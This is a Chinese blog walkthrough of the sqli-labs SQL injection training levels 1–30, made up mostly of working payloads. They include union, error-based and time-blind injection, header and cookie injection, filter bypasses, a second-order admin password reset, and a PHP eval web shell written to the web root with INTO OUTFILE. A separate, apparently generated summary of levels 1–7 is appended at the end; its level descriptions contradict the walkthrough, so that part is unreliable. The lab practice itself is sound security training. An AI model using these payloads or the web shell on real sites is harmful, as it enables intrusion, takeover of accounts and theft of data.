sqli-map 1-30 通关胡写

第1关

看我sql入门篇就行

第2关

同第一关,只是少了’号

http://localhost/Less-2/?id=1 order by 3 --+

第3关

先来个简单的’试一下

发现里面有括号,报错引号对不上,那就再加个右括号就可以了

http://localhost/Less-3/?id=1=1') union select 1,2,3 --+

看了眼源代码,也得却如此,sql查询语句中有(‘id’)

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

第四关

同第三关

单"直接报错,而’没有问题

就可以直接在"上加右括号就行

http://localhost/Less-4/?id=1=1") union select 1,2,3 --+

查看sql语句,直接在id上加上了""

$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";

第5关

sql语句会几乎不会显示内容,我们再加入个’回显示错误的原因

就可以用报错回显或者DNSlog或者是盲注

先来个报错

这不正常显示了吗?

http://localhost/Less-5/?id=1=1' and updatexml(1 ,concat(0x7e,version(),0x7e),1) --+

后面就看我写的报错注入文章就行了

时间盲注 和 布尔盲注 太靠人品了 就不细讲了

DNSlog操作太频繁

第六关

同第五关,直接加个"双引号就可以了,上面则是单引号

http://localhost/Less-6/?id=1=1' and updatexml(1 ,concat(0x7e,version(),0x7e),1) --+

第7关

改文件

直接获取权限

?id=1')) union select 1,2,'<?php @eval($_POST["cmd"]);?>' into outfile "F:\\WhiteFlie\\PhpStudy20180211\\PHPTutorial\\WWW\\sqli-labs\\ttt.php"--+

第8关

直接用报错试试

好家伙,错误直接不给你显示了.

还可以试试DNSlog或者盲猜

这就试试sqlmap吧

先来个爆库试试

sqlmap -u http://localhost:8088/sqlilabs/Less-8/?id=1 --technique B --dbms mysql --dbs --batch --threads 10

跑到一半就没法跑了,估计腾讯云已经认为我服务器遭到了攻击,给挡住了

![](https://www.netsafe.top/wp-content/uploads/2021/11/803.png)

第9关

无论写什么都是 you are in…

在这里是单引号

问题就来了,这就要用到时间盲注或者DNSlog回显

时间盲注太费时间 可以看我写的DNSlog回显,上面是基于第9关写的

第10关

和第九关区别不太大,只是改为了双引号,就不详细说了

第11关

如果这是个新手教程,那么第11关和第一关应该一样只是加了个’号

好了, 我们去看看有多少列吧

只有两列

把sql注入中阶里的爆表改成两列

当然你可以用时间盲注,布尔盲注,DNSlog回显,也可以跟我刚才一样用union联合查询

第12关

如果按照上面的第2关的思路来说,那么第12关就是直接将单引号变为双引号就可以了,实际上并不是,我们就看一眼源代码

$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";

那么只能双引号闭合了

uname=admin" and extractvalue(1,concat(0x7e,(select database())))  and " &passwd=admin

让我们改改源代码,看看上交了啥?

admin的与或计算

当然也可以把括号闭合起来,直接利用union

uname=0") union select 1,database() --+ &passwd=admin

具体方式就不说了

第13关

不显示正确信息,看看报错信息是否显示

还好错误是显示的,就用错误回显就可以了

把上面的错误回显的代码利用下

竟然什么都不显示了,可恶啊

换成单引号

uname=admin' and extractvalue(1,concat(0x7e,(select database())))  and ' &passwd=admin

显示了

其实可以用 Dnslog回显来解决的

第15关

试了一下单引号和双引号,什么都不显示,那么只能DNSlog回显或者时间盲注了


uname=admin' and if(length(database())=8,sleep(5),1)--+&passwd=admin&submit=Submit

# 如果对就5s后显示,不对就1s后显示

第16关

跟15关一样,还是时间盲注,不过要改成双引号加括号


uname=admin") and if(length(database())=8,sleep(5),1)--+&passwd=admin&submit=Submit

如果对就5s后显示,不对就1s后显示

第17关

我在错误回显里讲过,就不细说了

第18关

要进行密码检测和用户检测,外方法不行了

再看看源代码


$uagent = $_SERVER['HTTP_USER_AGENT'];

$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
			mysql_query($insert);

那就是http头部注入呗

再pikapika文章里讲个http头部注入,过程可以参考那个

第19关

要抓包,抓refer头部

流程跟上面的user_agent头部抓取流程一样

Referer:'and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '

第20关

这是cookie 我在之前的sql注入第一章里讲过

第21关

这是Base64字节注入 同上

-admin') union select 1,2,database()#
LWFkbWluIiB1bmlvbiBzZWxlY3QgMSwyLGRhdGFiYXNlKCkj

第22关

还是21关那个老味道了,只是把单引号和括号去掉,变成了双引号了,达成了闭合

-admin" union select 1,2,database()#
LWFkbWluIiB1bmlvbiBzZWxlY3QgMSwyLGRhdGFiYXNlKCkj

第23关

看了一眼源代码,是把注释给去掉了

$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);

直接进行闭合就可以了

?id=' union select 1,2,database() '

第24关

双注入

  1. 注册一个admin’#的账号。

  1. 登录admin’#该,修改该帐号的密码,此时修改的就是admin的密码,我修改为123456。

Sql语句变为UPDATE users SET passwd=“New_Pass” WHERE username =’ admin’ # ’ AND password=’

也就是执行了UPDATE users SET passwd=“New_Pass” WHERE username =’ admin’

成功的话跳转页面会提示Password successfully updated

  1. 用刚修改的密码我的是123456,登陆admin管理员账号,就可以成功登陆。

完成

第25关

看一眼源代码

function blacklist($id)
{
	$id= preg_replace('/or/i',"", $id);			//strip out OR (non case sensitive)
	$id= preg_replace('/AND/i',"", $id);		//Strip out AND (non case sensitive)
	
	return $id;
}

原来是进行了and 和 or的屏蔽

就直接用union直接注入得了

?id=-1' union select 1,2,database()--+

第26关

看了眼源代码,是直接屏蔽了各种符号和字符

function blacklist($id)
{
	$id= preg_replace('/or/i',"", $id);			//strip out OR (non case sensitive)
	$id= preg_replace('/and/i',"", $id);		//Strip out AND (non case sensitive)
	$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
	$id= preg_replace('/[--]/',"", $id);		//Strip out --
	$id= preg_replace('/[#]/',"", $id);			//Strip out #
	$id= preg_replace('/[\s]/',"", $id);		//Strip out spaces
	$id= preg_replace('/[\/\\\\]/',"", $id);		//Strip out slashes
	return $id;
}

可以直接利用错误回显进行解决,因为update函数不需要空格,or和and可以用运算符号进行解决

?id=0'||updatexml(1,concat('$',(database())),0)||'1'='1

第27关

再看一眼源代码

function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
$id= preg_replace('/[--]/',"", $id);		//Strip out --.
$id= preg_replace('/[#]/',"", $id);			//Strip out #.
$id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
$id= preg_replace('/select/m',"", $id);	    //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
$id= preg_replace('/union/s',"", $id);	    //Strip out union
$id= preg_replace('/select/s',"", $id);	    //Strip out select
$id= preg_replace('/UNION/s',"", $id);	    //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id);	    //Strip out SELECT
$id= preg_replace('/Union/s',"", $id);	    //Strip out Union
$id= preg_replace('/Select/s',"", $id);	    //Strip out select
return $id;
}

屏蔽了一堆,但是没有进行大小写统一化,所以,我可以尝试将中间的字母进行大小写打乱,当然仍然可以用错误回显

updatexml:你禁了select和union关我什么事

?id=0'||updatexml(1,concat('$',(database())),0)||'1'='1

所以,上题用的语句在这里仍然可以解决

第28关

先试试错误回显,然后发现不显示错误回报了

还是得看代码

function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);				//strip out /*
$id= preg_replace('/[--]/',"", $id);				//Strip out --.
$id= preg_replace('/[#]/',"", $id);					//Strip out #.
$id= preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
//$id= preg_replace('/select/m',"", $id);	   		 	//Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);	    		//Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id);	    //Strip out UNION & SELECT.
return $id;
}

屏蔽了注释符号 空格 还有 union select

使用正显就可以了

空格用%0d

?id=0')union%0dunion%0dselectselect%0d1,2,3;%00

第29关

就简单试了一下就过了

?id=-1' union select 1,2,database()--+

意义不明,查了一下,说是waf的防火墙漏洞

第30关

还是waf防火墙漏洞

?id=-1" union select 1,2,database()--+

这两个题出的真奇怪

### SQLi-Labs 1-7 关卡解题思路 #### Less-1: 基础 GET 请求注入 在这一关中,目标是在 URL 参数 `id` 中注入 SQL 语句来获取数据库中的信息。通过输入 `' OR '1'='1` 可以绕过身份验证并登录成功[^1]。 ```sql ?id=1' or '1'='1 ``` #### Less-2: 使用 UNION SELECT 注入 此关涉及使用 `UNION SELECT` 来联合查询其他表的内容。为了找到合适的列数,可以逐个增加返回的结果集数量直到页面不再报错为止。一旦确定了正确的列数,则可以通过这些列读取任意表格的信息[^3]。 ```sql ?id=-1 UNION ALL SELECT NULL,NULL FROM information_schema.tables WHERE table_schema=database()# ``` #### Less-3: 报错注入 利用 MySQL 的内置函数如 `extractvalue()` 或者 `updatexml()` 实现基于错误回显的 SQL 注入攻击。这允许直接从服务器响应中提取敏感数据而无需额外请求。 ```sql ?uname=1' AND extractvalue(1,concat(0x7e,(SELECT database())))--+&passwd=1&submit=Submit ``` #### Less-4: 时间盲注 当无法看到具体的错误消息时,可采用时间延迟技术来进行推测性的注入测试。例如,如果存在漏洞则会使查询等待一段时间再继续执行。 ```sql ?id=1' AND IF(SUBSTRING(@@version,1,1)=5,SLEEP(5),NULL)--+ ``` #### Less-5: 基于布尔条件的时间盲注 进一步扩展上一关的概念,在不知道确切版本号的情况下也可以利用布尔表达式的真假判断配合 SLEEP 函数完成注入操作[^2]。 ```sql ?id=1' AND (IF((ASCII(SUBSTRING(version(),1,1)))>50,BENCHMARK(5000000,SHA1('A')),false))--+ ``` #### Less-6: 多参数注入 本关考察如何处理多个输入字段的同时注入问题。通常情况下只需要在一个地方构造恶意负载即可影响整个查询逻辑[^4]。 ```sql ?id=-1' UNION SELECT 1,GROUP_CONCAT(username,0x7E,password) FROM users # ``` #### Less-7: 文件入与读取 最后一关涉及到更高级别的功能——将查询结果保存成文件并通过 Web 访问路径下载下来查看具体内容。这一步骤可能需要用到 INTO OUTFILE 子句以及 LOAD_FILE() 函数实现本地文件系统的交互。 ```sql ?id=1' union all select null,'<?php phpinfo(); ?>' into outfile '/var/www/html/shell.php'# ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值